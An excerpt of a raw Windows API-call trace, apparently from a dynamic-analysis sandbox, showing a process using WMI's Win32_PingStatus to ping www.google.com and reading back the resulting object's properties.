(bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.167] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x574 [0142.167] SetEvent (hEvent=0x3f0) returned 1 [0142.167] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eef20*=0x574, lpdwindex=0x59eed44 | out: lpdwindex=0x59eed44) returned 0x0 [0142.172] CoGetContextToken (in: pToken=0x59eedf4 | out: pToken=0x59eedf4) returned 0x0 [0142.172] CoGetContextToken (in: pToken=0x59eed54 | out: pToken=0x59eed54) returned 0x0 [0142.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dab30, riid=0x59eee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4dab30) returned 0x0 [0142.172] WbemDefPath:IUnknown:AddRef (This=0x4dab30) returned 0x3 [0142.172] WbemDefPath:IUnknown:Release (This=0x4dab30) returned 0x2 [0142.172] WbemDefPath:IWbemPath:SetText (This=0x4dab30, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0142.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eefa0 | out: puCount=0x59eefa0*=0x2) returned 0x0 [0142.172] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0x0, pszText=0x0 | out: puBuffLength=0x59eef9c*=0xf, pszText=0x0) returned 0x0 [0142.172] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.172] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0142.172] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0142.172] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.172] IWbemClassObject:Get (in: This=0x4f480a0, wszName="Address", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248dc6c*=0, plFlavor=0x248dc70*=0 | out: pVal=0x59eef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x248dc6c*=8, plFlavor=0x248dc70*=0) returned 0x0 [0142.172] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.172] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.173] IWbemClassObject:Get (in: This=0x4f480a0, wszName="Address", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248dc6c*=8, plFlavor=0x248dc70*=0 | out: pVal=0x59eef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x248dc6c*=8, plFlavor=0x248dc70*=0) returned 0x0 [0142.173] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.173] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.173] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0142.173] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0142.173] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.173] IWbemClassObject:Get (in: This=0x4f480a0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248dd28*=0, plFlavor=0x248dd2c*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248dd28*=19, plFlavor=0x248dd2c*=0) returned 0x0 [0142.173] IWbemClassObject:Get (in: This=0x4f480a0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248dd28*=19, plFlavor=0x248dd2c*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248dd28*=19, plFlavor=0x248dd2c*=0) returned 0x0 [0142.173] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0142.173] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0142.173] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.173] IWbemClassObject:Get (in: This=0x4f480a0, wszName="StatusCode", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ddbc*=0, plFlavor=0x248ddc0*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ddbc*=19, plFlavor=0x248ddc0*=0) returned 0x0 [0142.174] IWbemClassObject:Get (in: This=0x4f480a0, wszName="StatusCode", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ddbc*=19, plFlavor=0x248ddc0*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ddbc*=19, plFlavor=0x248ddc0*=0) returned 0x0 [0142.174] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0142.174] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0142.174] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.174] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e2b8*=0, plFlavor=0x248e2bc*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x248e2b8*=8, plFlavor=0x248e2bc*=64) returned 0x0 [0142.174] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.174] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.174] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e2b8*=8, plFlavor=0x248e2bc*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x248e2b8*=8, plFlavor=0x248e2bc*=64) returned 0x0 [0142.174] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.175] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0142.175] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0142.175] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.175] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e354*=0, plFlavor=0x248e358*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248e354*=8, plFlavor=0x248e358*=64) returned 0x0 [0142.175] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.175] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.175] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e354*=8, plFlavor=0x248e358*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248e354*=8, plFlavor=0x248e358*=64) returned 0x0 [0142.175] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.175] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0142.175] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0142.175] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.175] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e4b0*=0, plFlavor=0x248e4b4*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b458, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248e4b0*=8200, plFlavor=0x248e4b4*=64) returned 0x0 [0142.176] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e4b0*=8200, plFlavor=0x248e4b4*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b458, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248e4b0*=8200, plFlavor=0x248e4b4*=64) returned 0x0 [0142.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0142.176] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0142.176] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.176] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e724*=0, plFlavor=0x248e728*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248e724*=8, plFlavor=0x248e728*=64) returned 0x0 [0142.176] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.176] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.176] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e724*=8, plFlavor=0x248e728*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248e724*=8, plFlavor=0x248e728*=64) returned 0x0 [0142.176] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.176] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0142.177] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0142.177] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.177] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e84c*=0, plFlavor=0x248e850*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b458, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248e84c*=8200, plFlavor=0x248e850*=64) returned 0x0 [0142.177] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248e84c*=8200, plFlavor=0x248e850*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b458, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248e84c*=8200, plFlavor=0x248e850*=64) returned 0x0 [0142.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0142.178] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0142.178] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.178] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0142.178] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0142.178] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.178] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee87c | out: pNames=0x59ee87c*="\x01ƀ\x04") returned 0x0 [0142.178] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.178] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.178] SafeArrayGetLBound (in: psa=0x507510, nDim=0x1, plLbound=0x59ee714 | out: plLbound=0x59ee714) returned 0x0 [0142.178] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.178] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.178] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.178] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.178] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.178] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.178] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.178] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.178] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.178] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.178] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.178] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.178] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.178] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.178] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.178] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.179] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.179] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.179] SysStringByteLen (bstr="__PATH") returned 0xc [0142.179] SysStringByteLen (bstr="__PATH") returned 0xc [0142.179] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2490080*=0, plFlavor=0x2490084*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2490080*=3, plFlavor=0x2490084*=64) returned 0x0 [0142.179] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2490188*=0, plFlavor=0x249018c*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2490188*=8, plFlavor=0x249018c*=64) returned 0x0 [0142.179] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.179] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.179] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249021c*=0, plFlavor=0x2490220*=0 | out: pVal=0x59ee878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249021c*=8, plFlavor=0x2490220*=64) returned 0x0 [0142.179] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24902e0*=0, plFlavor=0x24902e4*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24902e0*=8, plFlavor=0x24902e4*=64) returned 0x0 [0142.179] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.179] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.179] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2490374*=0, plFlavor=0x2490378*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2490374*=8, plFlavor=0x2490378*=64) returned 0x0 [0142.180] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.180] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.180] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24905c4*=0, plFlavor=0x24905c8*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24905c4*=3, plFlavor=0x24905c8*=64) returned 0x0 [0142.180] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249070c*=0, plFlavor=0x2490710*=0 | out: pVal=0x59ee878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b458, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249070c*=8200, plFlavor=0x2490710*=64) returned 0x0 [0142.180] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249077c*=0, plFlavor=0x2490780*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x249077c*=8, plFlavor=0x2490780*=64) returned 0x0 [0142.180] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.180] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.181] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2490804*=0, plFlavor=0x2490808*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2490804*=8, plFlavor=0x2490808*=64) returned 0x0 [0142.181] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.181] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.181] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24908d8*=0, plFlavor=0x24908dc*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24908d8*=8, plFlavor=0x24908dc*=64) returned 0x0 [0142.181] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.181] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.181] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0142.181] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0142.181] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.181] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0142.181] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0142.181] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.181] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59ee8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee8b8 | out: pNames=0x59ee8b8*="\x01ƀ\x04") returned 0x0 [0142.181] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.181] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.181] SafeArrayGetLBound (in: psa=0x507510, nDim=0x1, plLbound=0x59ee750 | out: plLbound=0x59ee750) returned 0x0 [0142.182] SysStringByteLen (bstr="Address") returned 0xe [0142.182] SysStringByteLen (bstr="Address") returned 0xe [0142.182] SysStringByteLen (bstr="BufferSize") returned 0x14 [0142.182] SysStringByteLen (bstr="BufferSize") returned 0x14 